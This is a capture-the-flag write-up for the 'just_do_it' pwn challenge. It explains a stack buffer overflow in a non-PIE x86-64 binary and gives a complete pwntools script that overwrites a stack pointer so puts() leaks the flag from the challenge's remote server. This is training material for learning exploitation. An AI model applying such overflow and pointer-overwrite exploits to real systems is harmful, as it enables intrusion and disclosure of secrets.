pwn6 tw17_justdoit (just_do_it)
pwn6 tw17_justdoit (just_do_it)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: pointer_overwrite, puts_argument_redirect, stack_buffer_overflow
Summary
Task: NON-PIE x86-64 pwn (TokyoWesterns 2017 just_do_it) that fgets 63 bytes into a 0x30 stack buffer (overflow) and reads /flag into a fixed global at 0x4040c1 but never prints it. Solution: overflow only reaches the message-pointer at [rbp-0x8] (offset 0x28); overwrite it with the flag-global address so the trailing puts([rbp-0x8]) prints the flag — no ROP needed.
pwn6 tw17_justdoit (just_do_it) — pwn_spbctf
Description
Флаг лежит в /flag
English summary: This is the TokyoWesterns 2017 just_do_it challenge, re-hosted on
pwn.spbctf.ru in the Pointers topic (tier pwn6 "Добор"). The flag is stored in
/flag on the remote host. We get a NON-PIE binary that reads the flag into memory
but never shows it; goal is to make it print the flag.
- Remote:
nc 109.233.56.90 11508 - Author: Anatoly Korniltsev (@korniltsev)
Analysis
Binary protections: NON-PIE (loaded at 0x400000), NX, Partial RELRO,
no stack canary, not stripped.
main @ 0x401192 does the following:
[rbp-0x8] = failed_message— a pointer to the "wrong password" string, set up first.fopen("/flag","r"), thenfgets(flag+1, 0x30, fp)— reads the real flag from/flaginto the globalflag@0x4040c0(the string content lands at0x4040c1). The flag is now in process memory but is never printed.- Prints the welcome / "Input the password." prompts.
fgets(buf, 0x40, stdin)wherebuf = [rbp-0x30]. The buffer is only0x30bytes fromrbp, butfgetsreads up to 63 bytes → stack buffer overflow.strcmp(buf, PASSWORD)against"-[SUPASECRET]-". On match,[rbp-0x8] = success_message; otherwise[rbp-0x8]keeps whatever value it currently holds.puts([rbp-0x8])— prints whatever pointer sits at[rbp-0x8].
Key observation: the message that gets printed is taken from a pointer on the
stack at [rbp-0x8], and there is a usable stack overflow just before that
pointer is dereferenced.
Solution
The overflow is only 63 bytes — too small for a full ROP chain (and we don't need
one). Instead of redirecting control flow, we overwrite the data pointer that
puts() is about to dereference.
Offset math:
buf = [rbp-0x30], message pointer =[rbp-0x8].- offset from
bufto[rbp-0x8]=0x30 - 0x8 = 0x28 = 40bytes.
So:
- 40 bytes of padding to reach
[rbp-0x8], - then
p64(0x4040c1)— the address of the flag content in the global.
When we send a wrong password, the success branch is skipped, leaving [rbp-0x8]
equal to our planted value 0x4040c1. Then puts([rbp-0x8]) becomes
puts(0x4040c1) → it prints the flag.
p64(0x4040c1) = \xc1\x40\x40\x00\x00\x00\x00\x00 — no 0x0a byte, so fgets
won't stop early. Total payload is 48 bytes, well within the 63-byte budget.
Primary address 0x4040c1 (flag content start, skipping the leading byte the
program writes the flag after); fallback 0x4040c0 (the global base) in case of
off-by-one framing.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re, time HOST, PORT = "109.233.56.90", 11508 context.arch = "amd64" FLAG_RE = re.compile(rb"spbctf\{[^}]*\}") def try_addr(flag_addr): # buf = [rbp-0x30]; the message pointer printed by puts() is at [rbp-0x8] # offset from buf to [rbp-0x8] = 0x30 - 0x8 = 0x28 = 40 payload = b"A" * 0x28 + p64(flag_addr) assert b"\n" not in payload, "newline in payload" assert len(payload) < 64, "payload too long for fgets(0x40)" io = remote(HOST, PORT) io.recvuntil(b"password.", timeout=5) io.sendline(payload) data = io.recvall(timeout=6) io.close() m = FLAG_RE.search(data) return m.group(0) if m else None def main(): for addr in (0x4040c1, 0x4040c0): for _ in range(4): try: flag = try_addr(addr) except Exception as ex: log.warning("conn error: %s" % ex) flag = None if flag: print("[+] FLAG:", flag.decode()) return time.sleep(35) # remote rate-limit if __name__ == "__main__": main()
Submit the recovered flag via POST to the platform tile; the tile then shows "solved".